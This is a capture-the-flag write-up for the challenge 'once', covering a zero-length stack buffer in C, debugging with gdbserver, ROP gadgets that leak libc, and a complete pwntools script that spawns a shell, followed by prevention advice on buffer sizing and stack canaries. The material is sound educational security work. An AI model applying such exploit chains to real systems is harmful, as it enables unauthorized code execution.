8 minutes
once Write-Up
π Challenge Description
A basic stack overflow. How hard could it be?
π Research
We are given a zipfile containing various files, including a Dockerfile, an executable and the source code of the executable, which is shown below:
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void provide_a_little_help() {
const char* needle = NULL;
const char* needles[] = {
"once",
"[heap]",
"[stack]",
NULL
};
int i = 0;
char buf[512] = {0};
FILE* fp = fopen("/proc/self/maps", "r");
if (!fp) {
perror("fopen");
exit(1);
}
while((needle = needles[i]) != NULL) {
if (!fgets(buf, sizeof(buf), fp) || !buf[0]) {
break;
}
if (strstr(buf, needle)) {
*strchr(buf, ' ') = '\0';
printf("%s: %s\n", needle, buf);
i++;
}
}
fflush(stdout);
}
int main() {
unsigned char buf[0];
provide_a_little_help();
fread(buf, 1, 0x10, stdin);
return 0;
}
Before we start digging into researching the executable, let’s create ourselves a test environment. To do this, we build the docker container and run it using the following two commands:
sudo docker build -t once .
sudo docker run -d -p 1024:1024 -p 5000:5000 once
Now we can interact with the executable over the loopback interface on port 1024:
Nice!
Now let’s investigate the executable. A quick look at the source code tells us, that the main
functions essentially only calls provide_a_little_help
and then fread
, which will read 0x10
bytes from stdin
in buf
. The provide_a_little_help
function opens the virtual address map of its own process through /proc/self/maps
and leaks the virtual address ranges for the executable once, the heap and the stack.
Lastly, let’s quickly check the security mitigations enabled on the executable:
Full RELRO protection is enabled so we cannot overwrite GOT
entries. PIE
is also enabled which means we likely need an address leak to defeat ASLR.
π Vulnerability Description
As the char array buf
has a size of 0x0
bytes, no space is being reserved on the stack for it and in turn buf
points to the same location where rbp
points to, meaning we can overwrite rbp
and the return address of main. Let’s see this overwrite happen in action.
Before the overwrite:
After the overwrite:
If we continue stepping through the program, rbp
will have a value of 0x4141414141414141
and we get a segmentation fault at main+48
while trying to set rip
to 0x4242424242424242
. Now we have arbitrary control over rbp
and rip
. Let’s see how we can convert these primitives to rce.
π§ Exploit Development
To have a realistic as possible debug environment I chose to use gdbserver in the docker container and connect to it from my host machine. The following commands can be used to install the gdbserver
and pidof
commands into the docker container:
sudo docker exec -it be66d67055b1 /bin/bash
dnf install gdb-gdbserver
dnf install procps-ng
Now, after connecting to the once executable through nc localhost 1024
, we can attach to it with gdbserver --attach localhost:5000 $(pidof once)
in the container. On the client side in gdb, use target remote localhost:5000
to connect to gdbserver
running inside the container.
Let’s move on to develop an exploit strategy. A useful thing we want to know is where we can return to after the buffer overflow in main
. While searching in the once executable, I found a few interesting gadgets, three of which I will now present.
When returning to
main+14
, we can callfread(rbp, 0x1, 0x10, stdin)
. This gives us a0x10
bytes overwrite of an arbitrary location when chaining it with thepop rbp;ret
gadget atmain+47
.So when using this gadget the stack at the moment of executing the instructions
pop rbp;ret
atmain+47
should look like this:# rsp: address we want to overwrite with 0x10 bytes # address of main+14 # next rbp # next return address
Note that the stack at the first call to
fread
is perfectly set up to use the first gadget as the next return address ismain
:When returning to
provide_a_little_help+267
, we can callprintf("%s: %s\n", [rbp-0x10], [rbp-0x240])
. To reach theret
instruction atprovide_a_little_help+347
however,QWORD PTR [rbp-0x10]
has to be0x0
. The twoprintf
arguments[rbp-0x10]
and[rbp-0x240]
also have to be either0x0
or a valid address, asprintf
expects them to be eitherNULL
or a valid pointer to a string. This gadget gives us a somewhat limited leak.So when using this gadget the memory at
rbp
at the moment of jumping to this gadget should look like this:# rbp-0x240: valid readable address || NULL # rbp-0x010: valid readable address || NULL # rbp-0x080: 0x0 # rbp-0x000: next rbp # rbp+0x080: next return address
When returning to
_start
, we can start the program all over, thus reusing the first gadget again.
So with the first gadget we can write 0x10
bytes at an arbitrary location and then the program will return to main
. But what should we overwrite?
Keeping the arbitrary overwrite in mind, let’s investigate some strategies to spawn a shell:
- use
one_gadget
to find a one gadget in the libc library. - jump to
system("/bin/sh")
In the context of this challenge, for both strategies we need to know the base address of libc. So lets use our second gadget to leak some libc address! After a long search, I came up with an idea to use some heap address, which i will call address
, so that address-0x240
points into the file contents of /proc/self/maps
, which was stored on the heap. Specifically, I want address-0x240
to point to the part of the file contents which stores the virtual address range of libc:
[address-0x10]
and [address-0x8]
also look good as they are both 0x0
:
Initially, [address]
and [address+0x8]
is 0x0
, so we would return to 0x0
after leaking libc. But keep in mind that we have an arbitrary write of 0x10
bytes still unused. So lets use this to overwrite the next rbp
and return address.
After initial fread
buffer overflow in main
:
address
before overwriting:
address
after overwriting:
Now we are ready to use our second gadget to leak the base address of libc. We use the second call to main
to overwrite rbp
and the return address again and return to provide_a_little_helper+267
:
Enjoy your libc leak! π
Now that we have our libc leak, we can choose which strategy to spawn a shell we want to follow. I chose option 2 as I concluded the existing one gadgets as not reliable enough, because they depend on registers we cannot really control. After the libc leak, we see at the ret
instruction in provide_a_little_helper+347
, that we return to the address in [address+0x8]
, which we have overwritten with main
.
We use the buffer overflow in main
again to overwrite the return address with _start
, so we can use our first gadget again:
With the help of the first gadget, we can now construct the stack layout for the pop rdi;ret
gadget found with ropper:
The string /bin/sh
can be found by using the following command in gdb: find &system,+9999999,"/bin/sh"
. We use the second call to main
again to overwrite rbp
and the return address to the pop rdi;ret
gadget:
Thatβs it! We return to pop rdi;ret
which will pop the String /bin/sh
into rdi
, and then returns to system
.
π Exploit Program
from pwn import *
p = remote("localhost", 1024)
#p = remote("9d76172c7256a7da3d65f97a-once.challenge.master.cscg.live", 31337, ssl=True)
# Example:
# once: 55f80232e000-55f80232f000
# [heap]: 55f804032000-55f804053000
# [stack]: 7ffdb6362000-7ffdb6383000
once_base = int(p.recvline().decode().split(" ")[1].split("-")[0], 16)
heap_base = int(p.recvline().decode().split(" ")[1].split("-")[0], 16)
stack_base = int(p.recvline().decode().split(" ")[1].split("-")[0], 16)
print(f"once @ {hex(once_base)}")
print(f"heap @ {hex(heap_base)}")
print(f"stack @ {hex(stack_base)}")
rbp = heap_base + 0xaa0
main_ret = once_base + 0x1315 # main
fread_ret = once_base + 0x1323 # main+14
_start_ret = once_base + 0x10d0
p.send(p64(rbp) + p64(fread_ret))
p.send(p64(heap_base + 0x308) + p64(main_ret)) # setup for printf
p.recvlines(3) # leaks
printf_ret = once_base + 0x12c4
p.send(p64(rbp) + p64(printf_ret))
libc_leak = int(p.recvlines(6)[1].strip().split(b"-")[0].decode(), 16)
libc_base = libc_leak - 0x1d5000
print(f"libc @ {hex(libc_base)}")
pop_rdi_ret = libc_base + 0x27ab5
bin_sh_string = libc_base + 0x197031
system = libc_base + 0x4d4c0
p.send(p64(0x0) + p64(_start_ret))
p.recvlines(3) # leaks
p.send(p64(heap_base + 0x9d8) + p64(fread_ret))
p.send(p64(bin_sh_string) + p64(system)) # /bin/sh; system
p.recvlines(3) # leaks
p.send(p64(heap_base + 0x900) + p64(pop_rdi_ret))
p.interactive()
π₯ Run Exploit
FLAG: CSCG{buff3r1n6_y0ur_w4y_70_rc3}
π‘οΈ Possible Prevention
To prevent this exploit, one should only write so many bytes into an array as it has capacity. This simple change would have mitigated this exploit:
- unsigned char buf[0];
+ unsigned char buf[0x10];
Another approach one should always use is to enable stack canaries. Luckily, they are enabled by default in the most modern compilers. You can disable them by using the compiler argument -fno-stack-protector
, but you really shouldnβt. Stack canaries are random values on the stack which sit between all local variables and the saved rbp
and return address for this stack frame. A quick routine at the end of every function is inserted by the compiler which checks if the canary was being modified or overwritten and exits the program if this is the case. By using stack canaries, we would have not been able to overwrite rbp
and the return address without also overwriting the stack canary, which would have been detected.